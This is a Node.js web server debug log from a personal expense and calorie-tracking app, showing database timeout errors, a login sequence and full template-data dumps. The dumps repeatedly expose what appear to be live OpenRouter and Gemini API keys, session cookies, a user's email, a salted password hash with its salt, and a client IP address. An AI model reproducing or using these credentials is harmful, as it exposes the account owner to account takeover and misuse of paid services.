  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 21:28:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 23:58:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 23:58:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 00:10:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 00:10:32' as DATETIME)"
}
2025-12-24T00:44:49.586Z server-connect:router Serving templateView /
2025-12-24T00:44:49.587Z server-connect:app Executing action step identify
2025-12-24T00:44:49.587Z server-connect:app options: { provider: 'security' }
2025-12-24T00:44:49.587Z server-connect:auth No login cookie found
2025-12-24T00:44:49.587Z server-connect:output identity: false
2025-12-24T00:44:49.587Z server-connect:app Executing action step restrict
2025-12-24T00:44:49.587Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:44:49.588Z server-connect:output restrict: undefined
2025-12-24T00:44:50.231Z server-connect:router Serving templateView /login
2025-12-24T00:44:50.232Z server-connect:app Executing action step identify
2025-12-24T00:44:50.232Z server-connect:app options: { provider: 'security' }
2025-12-24T00:44:50.232Z server-connect:auth No login cookie found
2025-12-24T00:44:50.232Z server-connect:output identity: false
2025-12-24T00:44:50.232Z server-connect:router Render template layouts/authentication
2025-12-24T00:44:50.232Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '157.48.248.126',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:50.231Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.126',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '157.48.248.126',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-24T00:44:59.373Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-24T00:44:59.373Z server-connect:app Executing action step identify
2025-12-24T00:44:59.373Z server-connect:app options: { provider: 'security' }
2025-12-24T00:44:59.422Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-24T00:44:59.425Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-24T00:44:59.477Z server-connect:output identity: 1
2025-12-24T00:44:59.477Z server-connect:app Executing action step login
2025-12-24T00:44:59.477Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-24T00:44:59.478Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-24T00:44:59.522Z server-connect:output identity: 1
2025-12-24T00:44:59.522Z server-connect:app Executing action step restrict
2025-12-24T00:44:59.522Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:44:59.522Z server-connect:output restrict: undefined
2025-12-24T00:44:59.757Z server-connect:router Serving templateView /
2025-12-24T00:44:59.758Z server-connect:app Executing action step identify
2025-12-24T00:44:59.758Z server-connect:app options: { provider: 'security' }
2025-12-24T00:44:59.758Z server-connect:output identity: 1
2025-12-24T00:44:59.758Z server-connect:app Executing action step restrict
2025-12-24T00:44:59.758Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:44:59.758Z server-connect:output restrict: undefined
2025-12-24T00:44:59.758Z server-connect:app Executing action step restrict
2025-12-24T00:44:59.758Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:44:59.759Z server-connect:output restrict: undefined
2025-12-24T00:44:59.759Z server-connect:router Render template layouts/main
2025-12-24T00:44:59.759Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.126',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.126',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.126',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T00:45:01.064Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T00:45:01.065Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T00:45:01.065Z server-connect:app Executing action step identify
2025-12-24T00:45:01.065Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:01.065Z server-connect:output identity: 1
2025-12-24T00:45:01.065Z server-connect:app Executing action step restrict
2025-12-24T00:45:01.065Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:01.066Z server-connect:app Executing action step identify
2025-12-24T00:45:01.066Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:01.066Z server-connect:output identity: 1
2025-12-24T00:45:01.066Z server-connect:app Executing action step restrict
2025-12-24T00:45:01.066Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:01.067Z server-connect:output restrict: undefined
2025-12-24T00:45:01.067Z server-connect:app Executing action step select
2025-12-24T00:45:01.067Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T00:45:01.068Z server-connect:output restrict: undefined
2025-12-24T00:45:01.068Z server-connect:app Executing action step single
2025-12-24T00:45:01.068Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T00:45:01.073Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T00:45:01.074Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T00:45:06.243Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T00:45:06.243Z server-connect:app Executing action step identify
2025-12-24T00:45:06.243Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:06.243Z server-connect:output identity: 1
2025-12-24T00:45:06.243Z server-connect:app Executing action step restrict
2025-12-24T00:45:06.243Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:45:06.244Z server-connect:output restrict: undefined
2025-12-24T00:45:06.244Z server-connect:router Render template calorie-tracker
2025-12-24T00:45:06.244Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
